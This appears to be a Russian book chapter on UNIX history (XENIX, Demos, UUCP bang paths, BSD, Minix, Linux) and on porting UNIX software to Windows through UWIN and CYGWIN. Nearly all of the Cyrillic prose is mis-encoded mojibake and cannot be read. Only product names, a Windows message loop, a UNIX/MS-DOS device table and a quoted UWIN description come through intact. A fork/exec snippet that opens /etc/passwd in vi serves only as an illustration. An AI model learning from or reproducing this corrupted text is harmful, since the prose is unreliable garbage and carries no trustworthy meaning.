 ୠ 㤮 ७ 孮 㣨 ,   砫 <⠬> ᢮  UNIX.    ᨫ ᢮ ⢠  ⥬,  ਢ  ᮢ⨬ ࠧ ᨩ   㣮. , ਬ,  Sun Microsystems UNIX ᭠⨫ ⥢ 䠩 ⥬ NFS, ⠢襩 ⠭⮬ -䠪  襩   . ୨   Hewlett-Packard ᮧ ᮡ⢥,   㠫 䠩 ⥬,  뭥 ᯮ   UNIX/HP.  ⠫  ஭   Microsoft, ⨢ ᮡ⢥  UNIX - XENIX, ᭮   業஢  AT amp;T . ࠢ ᫥ 訡    ᬥ᪨ ᮢ襭⢮, Microsoft  ᮧ 祣 ਭ樯쭮 ,  ⥫쭮 訫 ⠡쭮 ࠡ ⥬ [63].  , ᮢ⭮    Santa Cruz Operation, Microsoft  XENIX 2 -    ॠ UNIX  ய Intel 8086.


१ <砭>




:  Microsoft,  ᯥ    ࠡ  ᢮ 樮 ⥬ MS DOS 2.0  ஢ IBM PC, 墠⠥  ࠧࠡ ᮡ⢥ ᨨ UNIX - XENIX.  ⮬  ४   ⮬,      ⥣᪨ ᮬ , ᪮ UNIX - 饥 樮 ⥬. ஥ ᭠砫  ஦, ⮬ ,    ᫥⢨  த  Santa Cruz Operation  㦨     ࠧࠡ⪥  SCO Unix
 ⮫쥢 ஢, < ⠪ 襭 ,   >
 ६  襬 (, ⮣  饬)  <﫮 ,  -    ⮬ ஫⢥ -  ᠬ  ⨯   堫,   த   (OS/360) 砫    ⮫ , 室 (, ࠢ  㢥७)   - VSM    稩 VAX,   뫮 饭,  ᨤ     뢠 ,  ᭠㦨 㦥 ᠬ  砫> [64].  ⮣ <""  ᯮ  UNIX v7 אַ  VAX- ୨᪮ 㭨  ફ [65]> ( .. " ࠢ  ").
 ⮢᪮  ⮬ ࣥ⨪  UNIX 墠⨫ न  ६᪨,    - ⮭.  ஢-᪨ (    㤥 㯮)  ਫ ⨩ ⮭  룭   ਨ.


१ <砭>




 ஬諥⥩ ஢  - ⮯஬, ஬  ।. ⥫쭮, ,   뫮     -ந⥫ -   ⭮, ⠪    宧⢥   뫮  믮,    ᮧ. , ਬ, ந⥫ 㦭 뫮 ,  ,  뫠        뫨 ஭   롮. ⮬   ணࠬ    .
㤭
⮬, ⮭ 襫   ਪ ୥⨪ ⮯஬,  ⪠ ᨦ  ନ,   UNIX  ᮢ᪨ ᯫ [66]. ᪮  稫 ᯥ宬,   -1425 [67] ਫ   ୠ ᯫ - ஬  ⥬ ६ ⨦!   ਭ ⠭ ४⥫ 饩 設, ᮥ騩   -1425, 㤠 ⠢ ࠡ   ᯫ ६!
ਡ⥫쭮    ६, ⥭ ᮧ ᮡ⢥, ᠭ  , 樮 ⥬ MISS (Multipurpose Interactive timeSharing System), ᯮᮡ <>   짮⥫ ६,   ⮬ ⢮ ᥣ  64 ⠬ ⨢ . ⥬ ন ᮡ⢥     ᮢ⨬ ⥢ ⮪  ਣ,     宦 ⥪, : <㣨 ணࠬ᪨ , ᨢ   ᮡ ஫ ᨨ  ஢ ਨ,  訫,  "쪮   ନ,     ࠢ ⮫",  﫨 UNIX> [68] ( ᫮ <᪨ ਨ>).
 UNIX 砫 窮 ᨫ쭥訥 ணࠬ ⮣ ६ -  ⮭, ࣥ 쥢, ਩ , ᥩ 㤭,  न, ࣥ 㪮   㣨.


१ <砭>









" ⨫  .  न 頫,    孮 த  .  㤭 ਫ ॥  ( 堪 ⮦). ࣥ 㪮  ᮬ 㤪. 窠 ,  ᥣ,   窠. 窠  (⮣  窨)  襩 ᨫ쥢   ⮭ ⡨  ⮢  ᠫ 㬥,  ᢮ ᭮ 㭪樨 襭 ⢨⥫쭮.   筮    -   BSD,   System V;   ..  ⠥ -  ᮡ 㬠   ୮ ࠡ. ३ ୮   MS-DOS'  e-mail' -  ᮢᥬ ୮ ⨥.     㣨 ,  ᮡ ⭮ 砫⢥ - 騩 ⥬.   (!)   ᫨  砫쭨  㯮,   ᠬ   ᨫ쭮   .      ண ⮢    稫.  ஢     祭  .  堪 "
 ⮭







ᮡ 뤥 <> ⮭ - <訩 [69]    ⫠ ணࠬ  2000 ப     ࠡ稩 , ᫨ ஥  ⥪ 設⢠ ᨩ UNIX,    ᫥  ࠢ  >. [70] ⮭ - 訩 [71]   ᮧ ᮡ⢥ ॠ IP ⮪,   ᠫ 㤮   । ணࠬ ⥪⮢ EDA, 訩 ஬ ୮     ᯮ짮訩  殮 ⪠ ,   ᭥ ᮢ६묨 ࠧࠡ⪠.  ⢮७  ⮭ ⭮   ⨫ UUMAIL, BATCHMAIL,     ࣠  ⨧樨  UUCP (Unix to Unix Copy Protocol).    ⯠ 室   楯 設, ᮥ ࠢ⥫  ⥫     ⨯ primaryhost!foo!bar!fooz!ॢ.


१ < 稭>




 ( ᪮ ᫮ <bang> - <!>)  孨᪮ ࣮ 砥 ᪫⥫ , ਬ騩,  ⭮  ࠧ  㧫  客 .  ⪮    ⮬᪮ ⨧樨  ⢮,  ⢥ ।⢮ ।    設  㣮  ⮪ UUCP (Unix to Unix Copy Protocol). ⥢  룫拉 ⠪: 묂אַ!짮⥫.
 ᥣ  室  設, אַ ᮥ  ன 뫮 .  室 ᪠ 㧥, 㯭  ࠢ⥫, ⠪  ⥫. 砫 ᮮ饭 । ,    ᢮ । ⠢  .  ᮦ,  ᥣ 室 ꥤ  楯 ᪮쪮 設, <>  㣠.  砫 쬨 客   -⭠ 㧫   .  室 쬠 ⥫쭮 ६, ० 祬 ᮮ饭 室  ⥫, ᫨  室,   﫮  ண.
⮬,  ࠢ ᯮ짮 ࠧ ᪮쪮 ⮢,  祣 ਡ  䨣 ᪮: {PimaryHost1, Primaryhost2}!{SlayerHost1,SlayerHost2}!{Transatlantic, SpaceGateWay}!PopcornHost!John.
⭮,  客  ࠭   ᥣ譨 ,  砥, ਬ,   ᮮ饭, ࠢ塞  ⮪ NNTP (஡  ⮬ ᪠   <⮪ NNTP>).  ਬ  Path  ᮮ饭: "Path: news.medlux.ru!Melt.RU!carrier.kiev.ua!news.kharkiv.net!useua!not-for-mail".
 ६   稫  IBM PC,      <㥢> ⢮ VENIX -  UNIX.  ᮦ, 室 ⥪  ⢮,  ਩ મ 訫  楤 蠣:  ᥬ஢   ᮧ 室   몥 , 訩 ᫥ 樨  設  - ᢮ࠧ ணࠬ᪨ !


१ <>*




<   ஢, 楫쭮  ⥬  祭  ᮢ᪮ ୮ 㪥  ࠪ⨪.  ᫥ 뫨 ᢥ, 죨 뫨 襭  堪  䨪 ⮣  >
 ᫮ ᪠ : ਨ
஢  ᮢ᪮  (-1425)  ⮭  ॢ  ᪨  ਥ  UNIX 稫   (  樮 ⥬).  ⮢᪮    ⨫ <> -     - UNIX,    <>,     ਦ.
ᥭ 1984   ਪ ୥⨪ ஢  ᥬ,  ஬ த஢ ࠡᯮᮡ   㯨    ᮧ⥫.  砫 ᯮ UNIX  ࠭ -  砫  ᥮饩 樠樨  ࠧ ⨢ <> ࠧ諮 ਡ⥫쭮 200  ਡ⨢.
⥯   ᨨ ⠫ ⠭⮬ -䠪  ᫥  ⢮ ਡ஥ 㪠  易⥫쭮 ᭠ -   設,  ⨢ ७ᨫ   ,  ⮬ ᫥  ⢥ 㯥મ < 2 [72]>, -1700 [73]  ..
 । 1985  訫 ࠭ ⠯ 㬥஢ ⥬, 뫨訩  ਤ  ⮬,  ⠪   뫨 ⢥ত 㤠⢥ ᨥ.     ६    ᢥ  UNIX - BSD 2.9,   樨  樨 砫  砫:


१ <९>*




<-  1993    ਣᨫ . ,  㯨  樥. 뫮  த,  ⮬ ᫥  ᮨ. 蠫   ஭  ᬥ誮.  㯫    DOS-  ᮠ ᨪ  뢠   祣, ஬ १⥫쭮 ᬥ誨:
  㦥 ,  ⠭ ᠬ  祫,  ,  ।  ਬ⨢ ஢,    ⠢ १  -  㯠    , :   ,   ⠫᪮ ࠭  㬥 , 祣  㬥  - ࠡ  뭮,   ४ ,   >
 < ࠢ  >
 ६,    1992      訫 ᮧ ᢮  UNIX  IBM PC, ।祭  ᢮ ࠭   ६ ਣ  AT amp;T,  ॡ ண饩 業.   386BSD 0.0.
 ᮦ,  ஢: ᪠ ਭ  ࠣ⮢  쬠 ᯮ୮,   㤮⢮ਫ ,   Novell,    ࠭ 室 ⥪ ᪨ 䠩.  १ ⮣  ࠧ 祭 ਠ UNIX - BSD-Lite.
  諮  ,  BSD-Lite  ஦ ६   UNIX - NetBSD, OpenBSD  FreeBSD.    ⮩   ⥯ 뫨 ᮢ⨬  ਣ쭮 ⥬ UNIX,  ਣ  業 ᯮ짮  ᠬ  - ࠭﫨 ᮫⭮ ᯫ⭮.
 ६ NetBSD 뫠 ७ᥭ   㣨  - DEC Alpha, Atari, Apple Macintosh, Motorola, HP 300/9000, PC532, Sun SPARC, VAX,    Z80!  ᮢ⨬  樮묨 ⥬ FreeBSD, iBCS2, Sun OS, Ultrix, HPUX, LINUX, OSF/1  SVR4.
  ᯫ  NetBSD 룮 ⫨砫    ⠭⠬ POSIX  Standard C,  頫 ७ ணࠬ ᯥ祭  <饩> UNIX  । NetBSD.
㣠 ⥬, FreeBSD, 筮 ᭮  IBM PC   ࠧ  ⠫ ࠧ  - ⥫묨 <뫨뢠ﬨ> ணࠬ , ࠧࠡ稪 ⭮ 訫 ந⥫쭮  ࠢ ⢮ 訡. ⠥,  ᮢ६ ॠ FreeBSD ॢ諠  饭  ⠡쭮 ࠡ  ⮫쪮 ᯫ,   ᪨ 樮 ⥬.




 룫廊 ⨯ FreeBSD



⥬ OpenBSD   ᢥ  १ ࠧᨩ  ⨢ ࠧࠡ稪 NetBSD,    ᭮ (筥  ⢨).  稫 室  㯯   ,   ⨢ 諥  ᪮ 訡  ९뢠 梨 ⪮ .  㣨 ਭ樯 ⫨稩  ⨬  ⥬     .
 䮭 ⢠   ࠦ, ᭮  ਣ쭮 ᨨ AT amp;T  ᮢ襭⢮ 室 ⥪⮢ ફ, ⭮ 뤥﫠 -樮 ⥬ Minix  㬠, ᠭ  < >.  뫠 筠 UNIX, ᮧ  386 設. ਣ ᪮॥  , 祬 쥧 ࠡ, , ⥬  ,  ਧ 稭 ணࠬ⮢, ७  ᠭ ᮡ⢥ ࠩ஢  ୨樨 室 ⥪⮢ .  業 ⥬  﫠 ᪠ 設⢮ <쥧> ணࠬ ᯥ祭,  ⮬ ᫥    . ⮬, Minix, ⠪     ॡ ﭨ, 뫠 襭  .  ⮬     稫, ᫨  㤥 奫ᨭ᪮ 㭨  ࢠ [74]  ५  <ᤥ Minix  ᥡ ᠬ [75]>.
  窥   ᨫ ᠬ⥫쭮  㭪樮 樮 ⥬, ⮬,  ⠫ ਫ  ⮩ ⥥ 㧨⮢  ᥣ .  ਢ 뢮   쬠, 饭  ७ comp.os.minix:
<    ⥬ ४ ६ Minix-1.1,  稭 뫨 騬 稭  ᠫ ᢮ ᮡ⢥ ࠩ   ன⢠?   ᥩ   㪮 饣 ஥,   묨ࠥ    ᢮   - ,    뫮 ஢  ᢮ ?  室   ࠫ饩 ,    Minix ࠡ⠥?   ᮭ 祩,  﫨 ⠢  ணࠬ ࠡ ࠢ쭮?     :>




 ࢠ



 ᨨ 뫨 ᠭ  ⮬ ᥬ  稫  ᥡ: ஢騪, ४騩   饭 ० 386+ , ࠩ ⪮ ᪠ ( 訬 ⢮ 訡,  -⠪ ࠡ騩)  ⥩ 䠩 ⥬.  ⠫쭮 室 ⥪   믮塞  -  﫨   ,   ᢮ 樨 ॡ 稥 樮 ⥬.




 룫廊 ⨯ LINUX



, 5-  1991   ⨫  <樠> ,  ன 㤠 ᯥ譮   ୠ (Born Shell)    GNU C.    ⥫  ᢮ ⥬ "Free UNIX",  ⥬  ⨫   ⠫ LINUX (   UNIX). ॢ  㤠筮  ⢮ ਫ.
  ᪮஢  ࢥ ਡ⥫쭮  祫. ।  諨 ᯥ樠, 㪠訥   訡  ᮢ⮢訥  ࠧ   ᥣ ࠢ.
稥     頫 쭥襥 ᮢ襭⢮ ⥬,   ࠡ 砫    襥 ⢮ த.  ६ LINUX ᫠  業 UNIX-,   祬  㯠騩 ᢮ ᪨ ᮡ.  ᪫祭, ,  -  ॡ 㬥樨  প     : ᥬ ⭨ ஥ ࠧ ᭥    , 祬 ⢫  ⠪ <ᯮ> .
  ᯮ, ⠢  LINUX ஧ Microsoft  ,    砥, LINUX   ⠭ ᮢ 樮 ⥬ -  ᨫ ᢮ 㦥⢥   짮⥫,   ࠧࠡ稪.  ணࠬ   । ॡ  㤮 㬥਩,  ⥫쭮 த㬠   㬥 [76]. ⮬, 設⢮ ᮢ६ ࠧࠡ稪 ᪫  த樨 Microsoft (   蠥       ᠬ,   த ⮩ ).   LINUX 易  ﭭ 室 㣫㡫  祭 室 ,  ᮡ 㬥  ᪠  ஬ man-,  ᪠ ଠ樨,  㦭, - ⨥   ᫠ࢭ.  㣮 ஭, ணࠬ஢  UNIX ࠧ , 祬  Windows,   祫   ﭨ 㤥ঠ     訥 ⥬ 맮,  ⮬ ⢮ 㬥樨  ⮫ 筮.


१ <>




 ᬠਢ LINUX  ,   ਭ Microsoft -  ⢥ 㤠 ⨢ Microsoft,  ,  .  㬠,    让 ᯥ.   室 ⥪, ⠬    ਫ , ⠪  㤠  . ᪮  ᮧ  ⥪⮢ ਭ ⨥ ᠬ ࠧ, 砩 ,   ⢮ ⤥  ⥩ ⥫쭮 ࠧ.
 ᢮      㧥  ᪠,  LINUX - 쭮  ⥬. Microsoft ᪠  誮  ணࠬ த,  LINUX 訩  .  ।   தন. ᫨  ᯮ     -   . ᫨   ਬ LINUX  ࠭, , ஥ ⥬  ⠪  -  ॡ  祭 쥧 ࠡ⪨.
 ᮭ
⮬, LINUX    ⥬  ᨮ ணࠬ⮢,  । ⥫,    १⮬,  ᠬ ᮬ ணࠬ஢.   LINUX 㤭  ᨫ ᮢ ⮩ ⥬.  ᥪ 窠  㤥 䨣஢ SendMail,  ᯮ짮 LISP-  । EMACS.   䥩 ࠢ  ⥬,    Windows 9x/Windows NT,  LINUX    .
 ⢥ ࢥ୮  LINUX  ४ ᯮ짮  ᮮࠦ ᭮ [77], -  ⮬  ᨫ쭮 㯠 FreeBSD (࠭塞,   LINUX - ᯫ⭮).
  ,    蠥 LINUX   ⠢   㧨⮢ ணࠬ஢,   ᪮ ஭ . ⥬  Microsoft  ᮢᥬ  ,   ᥪ  ஬ LINUX  ᯫ⭮ ணࠬ ᯥ祭.
ਪ  (  < ᫮ 堪>) 㡮 㡥,  । ࠢ  室 ⥪ த - ⢥   ࠧ ணࠬ ᯥ祭.   㡥  Netscape  室 ⥪ ᢮ 㧥. , 짮⥫ <ࠢ쭮> Internet Explorer 뢠 ࠢ   ࠡ⠥  㤠 ⮩稢 ᢮ <ࠢ쭮> ᮡ.





"᫨  ⢥࣠ ,    ⮫㫨,    㣮 .     ,     㤥 ᮧ. 类 譥  ᯮ,     , ७  ६訥"
ਯ뢠 









 ᪠ UNIX ਫ  Windows


O  ⮩ :
O ⫨  UNIX  Windows
O ७ ਫ  UNIX  Windows
O 孨 樨 UNIX
O   ਯ஬  ࠡ稪
O   ॠ樨 ᮢ  UNIX  Windows
O  맮 fork  exec
O  ᨣ
O ⫨  ॠ樨 
O 稥  -ࠧ⥫ ⠫
O  ⠭ ன  UNIX  Windows
O  ⢨⥫쭮  ॣ   䠩
O ⢨ প    Windows
O ࠢ ஢ UWIN  CYGWIN





": ࠫ ᠬ 㤭   ⮣, ⮡  .   ,   ⥡ ᠬ  "
७ ࡥ ""



 室 ⥪⮢ 設⢠ UNIX-ਫ १砩 砥    । ᪠ , - ࠧ  ࠢ   ⮬⥫ ᥬ஢  Windows NT?
 ⮩ 㠫 ᬮ ᯥ⮪ - ࠩ 䥪⨢  㤮 ⮤ ᫥. 㬭 ⠭   UNIX  ண   ⫠稪.   砥 UNIX ॡ  祭 몮 ࠡ  묨 窠.   ਣ  㤠 ᪠ ணࠬ  ࠢ ᢮ ⮬  ࢥ.
६ ᨨ UNIX ᭠ 筮 ࠬ묨 ணࠬ ⠫樨,   設⢥ 砥 ⠭  ஡  뢠. :  <>    ᪮ ࠭⢠,   猪 ॡ ४ன ⠡ ࠧ, -  ࠭஢ ࠭ ଠ樨 ࠧࠡ稪, ⢥,  ᮡ. ࢨ஢?   㯨  ⪨ !
    㣨 ⥬ - ᯮ짮 ⨫⠬, 騬 ᪠ UNIX ਫ אַ - Windows!  業  UNIX ⥮᪨ , ࠢ,   - 㤠  襩 ந⥫쭮.   祬? 室 ⥪ 設⢠ ਫ 㯭, - ⠥ ४஢      !   ᠬ     ⠪ ,      . ⥪ UNIX  Windows  楫 祭 ,  ⥫ ⫨    <㦮>   ⢥ ࠡ⪨ ணࠬ.
⮬, 室 稢 , -   Windows   ⥪, ᣫ ࠧ ⥬ 㭪権  樮 ⥬.  ⠪  㯨   ( ⭮  窨), ᮧ⥫ UWIN.
 㭪 041    ࠦ  "Norton Commander" , ᬮॢ ⥫쭥,  ࠧ <ࠢ> [78] ᨬ-ࠧ⥫ ⠫. ,  "Midnight Commander", - Norton  UNIX.




 룫廊 Midnight Commander, 襭   UNIX  । Windows 98



⮨ ࠧ  ᮫   ࠭,     UNIX ࠧ   樮 ⥬  ࠡ⠥! 筮, <> UNIX   ,   設⢠ , 뢠  ,   .
㬥, UWIN  ⢥ ਫ  ᢮ த.   CYGWIN, NUTCRACKER  ⢮ 㣨  ணࠬ.    ᯮ짮 - 롨 ⥫,     ᠭ   - UWIN  CYGWIN.  ᪮ ᯮ짮  ᯫ, ⠫  ॡ ,  ॢ饩 ⮨ ଥ ᪠ UNIX  ⥫쭮 !
। 㣫㡫  ᠭ ᮡ⥩  ணࠬ  ᬮ:  祬  ࠧ  Windows  UNIX,      ८. <  쥣 >  樮 ⥬ ࠪ᪨   ,  ᫨  ணࠬ  ᯮ짮 ᮡ⥩ ॠ樨 ⮩   㭪樨  ७ ਪ ਫ  ஡   [79].
,  UNIX   䠩 樨஢  ਯ஬,  Windows ᯮ HANDLE [80].  ࢮ ਡ  筮 㣮 -  <᪨> ᫠, ஢   ⮫쪮 樮 ⥬,   ਫ  ।⠢ <묨 騪>.  ࠢ  Windows,   UNIX [81] ਯ 㯮冷祭  ।᪠㥬. ⨢, HANDLE ।⠢ ᮡ 砩 32-᫠, ⮬ ணࠬ, ᠭ  ⮬ ᮡ⥩ ।⠢ ਯ஢ UNIX, ⪠ ࠡ  Windows.  室  ⠪ 樨 砥  ᮧ ᮡ⢥ ⠡ ࠡ稪, 筮   ᮢ  ࠭饩 㯮冷祭 ᯨ᮪ ਯ஢ (ᬮ 㭮 001.txt).




 ஬ ᮡ⢥ ⠡ 䠩 ஢



祬,     ਯ  樨஢  ᪮쪨 HANDLE. ਬ,  ਯ ᮫, ६ ⮩   , ⠪   ⥭  ࠢ ᥣ  ࠡ稪.  ⥫⢮ ࠩ ,   Windows   쭮 ⠡ ࠡ稪 饩   ᮢ [82].    ᮡ⢥  ⠡, ⮬ ᫥  ᯮ짮 HANDLE 㦮 .  ஢ ⥫쭮 蠥  ⥬,  㤭  ⢨,   UNIX ਫ,  뢠騥  ⠪  ᮡ⨩,   ⪠  ࠡ. ⮬, 室 ᮡ  HANDLE   ⠡,    UNIX-ᮢ (ᬮ 㭮 002.txt).

㭮 002.txt (  ⠡ HANDLE   Windows-ᮢ,   ⮡ࠦ   ⠡ ਯ஢ UNIX-)
  ⢥ ࠧ ॠ権 ᮢ  UNIX  Windows. প 筮  UNIX ॠ ࠩ 㡮 (       ᪠뢠). ⥬ 맮 exec, ᪠  , <> ⥪騩, ⮬,  ᪠ exec 筮 ᯮ 㭪 fork, 饯     - த⥫᪨  ୨. - ᫥   䠩 , ᥣ   த 믮  ⮩  ᠬ 窨,  ன 訫 맮 fork. ⫨稥   砥   頥 㭪樥 fork 祭. ⥫᪨  砥 䨪 ୥,  ᠬ ୨ ᥣ . ⮬, , ࠦ騩  ,  UNIX ਫ 筮 룫廊 ⠪: "if (fork()-0) exec("/bin/vi","/etc/passwd",0);".
 Windows   ⢥  ⭥. 맮 CreateProcess ⢨⥫쭮 ஦  ,   ⥪騩.  ⮬ ࠭  ᫥  ࠡ稪 ⠭ 䫠 bInheritHandles. ⮬, 㭪 CreateProcess ࠪ᪨ ⭠ ᫥⥫ 맮 fork + exec.   fork  Windows ,    饯 ᮢ!  讬     㦭 ᮢ६ ணࠬ⠬,   ᯮ짮 ࠧࠡ稪 UNIX-ਫ.
  UNIX  㬥 ஢ 맮 fork,   ⥪ Windows  .  ᥣ ᮧ ਮ⠭ (suspend)   ⮩  ᠬ ⮢ ଠ樥,   ⥪騩.  믮 㭪樨 main()  த⥫᪮   ୨  ᥣ , ⥪  㡫  ࠡ稪.  ᫥ ।  ⥪ , ࠭騩 祭 ॣ஢,  ⮬ ᫥  ॣ 㪠⥫ । 믮塞  ( 386+ ਨ ய஢    EIP).
ࠧ  ஢ exec, - 筮 맢 CreateProcess  "ਡ" ⥪騩 ,   饭 . ⠥ ᥣ  ⠭ 䨪, ࠭  . ᫨ ⮣  ᤥ,  ஦  ⠭ ⮬ , 맢襣 exec,   ਣ쭮 ⥬ UNIX 㭪.exec  ᮧ ୥   ࠭ 䨪 ⥪饣.  䨪  뤠 樮 ⥬        ਫ! 㣨 ᫮, ᫨ " 0" த " 1"    䨪,  " 1",  맮 exec, ⨫  㭪樨 CreateProcess  맢 exit  襭 ᢮ ࠡ,  " 0" 㤥 -० 뫠  㦥 騩 " 1", 祣    ஦ " 2", 饣  䨪஬.
 ࠧ蠥 ᮧ ᮡ⢥ ⠡ 䨪஢ ஬ UNIX. ⥫᪨   ⢥ 䨪 砥  祩 ⠪ ⠡, ᮤঠ饩 騩 䨪 ୥ .  १   <> 䨪 < 1>  < 2> ⭮  த⥫᪮ . ( 㭮 003.txt)




 ஬ ⥬ 맮 fork



 ⫨稥  Windows, UNIX ন ᨣ - 㤮 ।⢮ ୮ ⢨, ᢮ࠧ  ணࠬ- 뢠. 堭  ᮮ饭, ॠ㥬 Windows, ॡ ﭭ  । ᮮ饭  । 㦥  㯫. , ਬ,  ⨨  ਫ 뫠 ᮮ饭 WM_CLOSE,  ᫨      ⠥ ।,   祬- 㣨, ᪠, ଠ஢ । ४ ᪥  ஢ ,  ந  ,  த ࠡ   ᫥饩 ஢ન ।. ⮬, ࠪ᪨   Windows-ਫ  ᫥騩 :


 while (GetMessage ( amp;msg, NULL, 0, 0))

 {

 TranslateMessage ( amp;msg);

 DispatchMessage ( amp;msg);

}




᪫祭 ⠢ ᮫ ਫ,    ⠫   筮 ਫ   <>  ஢થ । ᮮ饭  祬    ᥪ㭤,  뢠 ⮢  ஭ 짮⥫, 㣠饣     ॠ ணࠬ.
 UNIX  ࠧ  - 樮 ⥬ ⮬᪨ 뢠 ࠡ -⥫  । ࠢ  ணࠬ ࠡ⪨ ᨣ,  ᫥  襭  믮 ࢠ   ⮣  ᠬ .
 ,  Windows 9x/Winwos NT  筮  ⢮ 堭  ⢨, ⮬ ஢ প ᨣ  ॠ쭮.  ⮣   㫨㥬 ਫ 室 뤥 ⤥ ⮪, 騩 , ਬ, ᮡ (Event)  ।騩 ࠢ  ᮮ⢥ ணࠬ   㯫. ( 㭮 004.txt)  룮 ⫨  <஧> 騩 ⮪,    ࠣ業 ୮ ६.
 ⬥, 㭪 "kill"   㡨 ,   ᫥   ,  ࠢ  ᨣ,     ந஢,  ࠡ  ᢮ ᬮ७.




 ஬ 堭 ᮮ饭



㣮 ⢥ ⫨稥 砥    (heap)   ࠧ஢ 뤥 .  -  ᪨ ।塞  .    孨᪨ ⮭ ⮩   ॠ樨, 筮 ⬥  訥 樨, ᮢ蠥  砬 - 뤥  , ᢮    ࠧ஢.    ஡  뢠,   ᪮  ࠧ - 㪠 ᭠.  㬥 ࠧ ,    ணࠬ⠬ ॡ  㢥 ( ⮣   㬠, ⮡ ᭠砫  窮 ,    ॡ ॡ     ).   㯨, ᫨      ਬ몠 ᫥騩? UNIX ᯮ ࠭ ᮢ,   । ࠧ ⮡ࠦ 䨧᪨   ᪨, ᮧ  뢭 ᥣ  ,   ᠬ   ⮨  ⢠ ᯮ冷筮 ࠧᠭ ࠣ⮢.   Windows 室 室騩  ࠧ ᢮  , ஥   砫 ᮤন 㢥稢   頥  㪠⥫ 砫 . ணࠬ Windows, ⠭  ⠪ , 믮 ᯥ譮,  , ஡-,  UNIX-ਫ ⨬ 䮪ᠬ! ⮬,  UNIX   ᢮ ᮡ⢥  , ࠡ騩   Windows   ஢ 㭪ﬨ VirtualAlloc  VirtualFree.
ᠭ  ࠧ ⭮  ⮭ ॠ樨,    ⮣ 짮⥫, ⫨饣 Windows  UNIX   -ࠧ⥫. 襭 ⭮, 祬 ࠧࠡ稪 MS-DOS ४ ᥬ ᮣ襭 -䠪, 訫  ਣ쭮, ਬ  אַ,   ᫥, १ࢨ஢    ࠢ ᨬ. 祢, ७ ணࠬ  UNIX  MS-DOS (Windows) ॡ  । ⥫쭮    ⢥ ᨫ.  ,   ⮣ , ⮬᪨ ଠ஢ ப ( ⥩襬 砥)  ⠭  ࠩ 䠩 ⥬ ( ᯥ祭  樨).  ᫥ 뢠, 䠩 ⥬  UNIX 㥬, .. ꥤ     䠩  ⠫, 䨧᪨ ᯮ  ⮫쪮  ࠧ ⥫,   .
ࠧ  㤮 ⠢ <> ७ ப  MS-DOS (Windows),  ᨬ "\r\n", ⮣  UNIX   筮 ᨬ "\n". ⮬,  設⢥ 砥 UNIX-ਫ   ४⭮ ࠡ뢠 ⥪, ᮧ ।ࠬ MS-DOS (Windows)  . , ⥪ ணࠬ, ࠭  । edit, 맮   ஭ UNIX-ᨨ  Perl.
ᠫ쭮 室  ⮩ 樨  ,  ।⢥ 襭 ஡  । ᪮쪮 㣮.  ᥣ   ⨨ 䠩  ⥪⮢ ० ᠬ⥫쭮 ࠡ뢠 ᨬ ॢ ப, ᫥ UNIX-ᮣ襭. ,   筮 ० ⠥ < >, ᪮  ࠧ ⢨⥫ ॢ ப  ᮢ ᫥⥫쭮 ᨬ.  ᮦ,  ਫ ࠡ뢠 ⥪⮢ 䠩, 뢠   ୮ ०. ⮬,  ᥣ ७ 䠩  ,  室  ᨬ ७ ப.
筮 ⠪,  MS-DOS  UNIX  ᮢ  ன. ਬ,   뢮 ᮮ饭  ࠭  MS-DOS ᯮ  ">nul" ("echo  ᮮ饭     ࠭>nul"),   UNIX - ">/dev/null" ("echo  ᮮ饭     ࠭> /dev/null"). 㣨 ਬ ࠧ稩   ⠡ 1
-ன⢮   UNIX   MS-DOS 
-᮫ /dev/tty Con 
-⠭  /dev/stdin Con 
-⠭ 뢮 /dev/stdout Con 
-ୠ  /dev/null Nul 
-ਢ  ᪮ /dev/fd : (B:) 
-ࠫ  /dev/lp Com 
-᫥⥫  /dev/mod lpt 



 1   ன  UNIX  MS-DOS



⮬,    ।⠢ ᮡ⢥ ⥪ 㭪権  ࠡ  䠩,  稥 㪠 ன.  ॠ  ८ࠧ   ஫ 㯠 権   ⥭ (ਬ,  ⠭   뢠,  MS-DOS  , ᮢ  ,  뢮   ன⢥   'con' - ᮪饭  console).
 ᮦ,   ⠪ ࠧ, ᣫ  ⭮ 㤭. , ਬ, ⥬ UNIX ⢨⥫쭠  ॣ   䠩  ᪠ ୮ ⢮ "myfile"  "MyFile"   ⠫. , ⢥ ᯮᮡ   ⮬ Windows, - ॠ ᮡ⢥ 䠩 ⥬,    ,     襭.   樨 䠩  ⠡栬 㠫 , ࠡ뢠  ࠢ UNIX. ( 㭮 005.txt)




 ஬ ⠡ 㠫 , ⢨⥫  ॣ



 㦥  ⮨  প   (SOCK_RAW). ᫨  ,    ਪ ணࠬ ᠬ⥫쭮 ନ஢  IP , - ⢨ । ᯮ㥬  ଠ쭮 ,  室  ⢠ ⠪.
䨪 WINSOCK 2.x    ⢥ত  稥  Windows,   ᠬ , ᮮ⢥騥 㭪樨 ॠ ࠢ쭮  뫠  ,  짮⥫᪨    .   ⮡  뫠  ,  ᠭ ᮡ⢥ ࠩ஢ TCP/IP ॡ 饩 䨪樨 ࠧࠡ稪,       ஢    ন.
 ᫮ ᪠,   ᥬ⢠ AF_INET,  UNIX    ᯮ㥬  ୮ ⢨,  ন WINSOCK,  ॠ㥬 騬 設⢮ ஢.
ᬮॢ ⥮᪨ ࠧ  UNIX  Windows, ३  ࠢ  ॠ権 ஢.  ⮣ 쬥  ન ।⠢⥫, UWIN   AT amp;T (  UNIX  AT amp;T?)  CYGWIN, ন  ࠬ ஥ GNU [83].




⨯  UWIN



 ᪮ ᯮ짮 業  UWIN   ᯫ⭮, ⨢ ᠩ  - http://www.research.att.com/sw/tools/uwin/. ⠭ UWIN ।⠢ ᫥騥 : "UWIN has a set of popular shells like ksh (Kornshell) amp; tcsh (C shell) and more than 300 utilities like vi, ls, ps, grep, tail, uudecode/uuendecode, mailx, find, perl, awk, etc along with a vt100 terminal emulation. It also provides a Telnet server along with other inet daemons and utilities like telnet, ftp, rsh, rlogin, and their corresponding servers for Windows NT, enabling a user to remotely access the system over the network. Optional tools include the Apache Web-server and bind DNS server. 
[84]"


१ <⥬ ॡ UWIN>*




 Software requirements Software requirements
 UWIN Base toolkit + UWIN SDK
 Microsoft Visual C/C++ 4.0 or higher or GNU C/C++ compiler
 Microsoft Windows NT 4.0 or higher (Workstation or Server) or
 Microsoft Windows 95/98
 Hardware requirements Hardware requirements
 Intel x86, Pentium, Pentium Pro and compatible systems
 30-100MB of available hard-disk space
UWIN ᮤন ⢮   祪,  300 室  ࠡ ⨫    ᪠ Apache WEB ࢥ  DNS ࢥ. ஢ Windows NT    ࠤ 稥 業 telnetd - ( ⭮   ⠢ Windows NT  室  । 㤠 ࠢ ஬) [85].




